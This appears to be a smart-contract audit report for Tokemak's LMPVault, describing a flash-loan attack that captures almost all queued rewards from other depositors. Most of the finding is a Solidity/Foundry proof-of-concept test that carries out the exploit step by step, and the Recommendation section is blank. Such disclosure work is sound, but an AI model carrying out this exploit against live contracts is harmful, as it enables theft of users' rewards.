Vast Teal Bat

high

# An attacker can monitor `LiquidationRow.liquidateVaultsForToken()` function, then use flash loan to steal all rewards from users
## Summary

An attacker can monitor `LiquidationRow.liquidateVaultsForToken()` function, then use flash loan to steal all rewards from users.

## Vulnerability Detail

Here is an overview of the steps the attacker takes to exploit the vulnerability:

1. **Monitoring the Liquidation Process**: The attacker monitors the execution of the `LiquidationRow.liquidateVaultsForToken()` function, which is responsible for distributing rewards to destination vaults.

2. **Flash Loan Deposit**: When the rewards are distributed and available in the destination vaults, the attacker uses a flash loan to deposit a substantial amount of assets into `LMPVaults` associated with these destination vaults.

3. **Update Debt Reporting**: After depositing the assets, the attacker updates the debt reporting mechanism in order to claim rewards.

4. **Redeem Shares**: The attacker then redeems all of their shares and repays the flash loan, obtaining a substantial portion of the rewards.

Here is the POC for the attack:

```solidity
    function test_attacker_monitor_when_rewards_are_distributed() public {
        _accessController.grantRole(Roles.SOLVER_ROLE, address(this));
        _accessController.grantRole(Roles.LMP_FEE_SETTER_ROLE, address(this));

        // Alice is going to deposit 1000 asset
        address alice = vm.addr(1111);
        vm.startPrank(alice);
        _asset.mint(alice, 1000);
        _asset.approve(address(_lmpVault), 1000);
        _lmpVault.deposit(1000, alice);
        vm.stopPrank();

        // Bob is going to deposit 2000 asset
        address bob = vm.addr(2222);
        vm.startPrank(bob);
        _asset.mint(bob, 2000);
        _asset.approve(address(_lmpVault), 2000);
        _lmpVault.deposit(2000, bob);
        vm.stopPrank();

        // Deployed 1000 asset to DV1
        _underlyerOne.mint(address(this), 1000);
        _underlyerOne.approve(address(_lmpVault), 1000);
        _lmpVault.rebalance(
            address(_destVaultOne),
            address(_underlyerOne), // tokenIn
            1000,
            address(0), // destinationOut, none when sending out baseAsset
            address(_asset), // baseAsset, tokenOut
            1000
        );

        // Distribute DV1 rewards
        // In a real scenario, the attacker will monitor when liquidationRow.liquidateVaultsForToken() function is called
        // for simplicity, in this poc, we use queueNewRewards() in place of liquidateVaultsForToken())
        _accessController.grantRole(
            Roles.DV_REWARD_MANAGER_ROLE,
            address(this)
        );
        _accessController.grantRole(Roles.LIQUIDATOR_ROLE, address(this));
        _asset.mint(address(this), 2000);
        _asset.approve(_destVaultOne.rewarder(), 2000);
        IMainRewarder(_destVaultOne.rewarder()).queueNewRewards(2000);

        // Roll the block so that the rewards we queued earlier will become available
        vm.roll(block.number + 10_000);

        /** Right after the rewards become available, the attacker will use flash loan to deposit a large amount of assets,
        then update the debt reporting and redeem all shares (in the same transaction) in order to get away with most of the rewards */

        // The attacker uses flash loan to get 1_000_000_000 assets here
        address attacker = vm.addr(12345);
        vm.startPrank(attacker);
        _asset.mint(attacker, 1_000_000_000);
        _asset.approve(address(_lmpVault), 1_000_000_000);
        // The attacker deposits the loaned assets
        _lmpVault.deposit(1_000_000_000, attacker);

        // Then updates the debt reporting
        address[] memory dvAddresses = new address[](1);
        dvAddresses[0] = address(_destVaultOne);
        _lmpVault.updateDebtReporting(dvAddresses);

        // Finally redeems all shares (and repays the flash loan, but we skip that step in this poc)
        uint256 assetsAfter = _lmpVault.redeem(
            _lmpVault.balanceOf(attacker),
            attacker,
            attacker
        );
        vm.stopPrank();

        // The attacker gets away with most of the rewards in the vault (1999/2000)
        assertEq(assetsAfter, 1_000_001_999);

        // Alice does not get any rewards
        vm.startPrank(alice);
        uint256 aliceAssets = _lmpVault.redeem(
            _lmpVault.balanceOf(alice),
            alice,
            alice
        );
        assertEq(aliceAssets, 1000);
        vm.stopPrank();

        // Bob gets tiny rewards
        vm.startPrank(bob);
        uint256 bobAssets = _lmpVault.redeem(
            _lmpVault.balanceOf(bob),
            bob,
            bob
        );
        assertEq(bobAssets, 2001);
    }
```

## Impact

An attacker can acquire all rewards, leading to significant financial loss for other users in the form of rewards.

## Code Snippet

https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/liquidation/LiquidationRow.sol#L167-L180
https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/vault/LMPVault.sol#L628-L630

## Tool used

Manual Review

## Recommendation
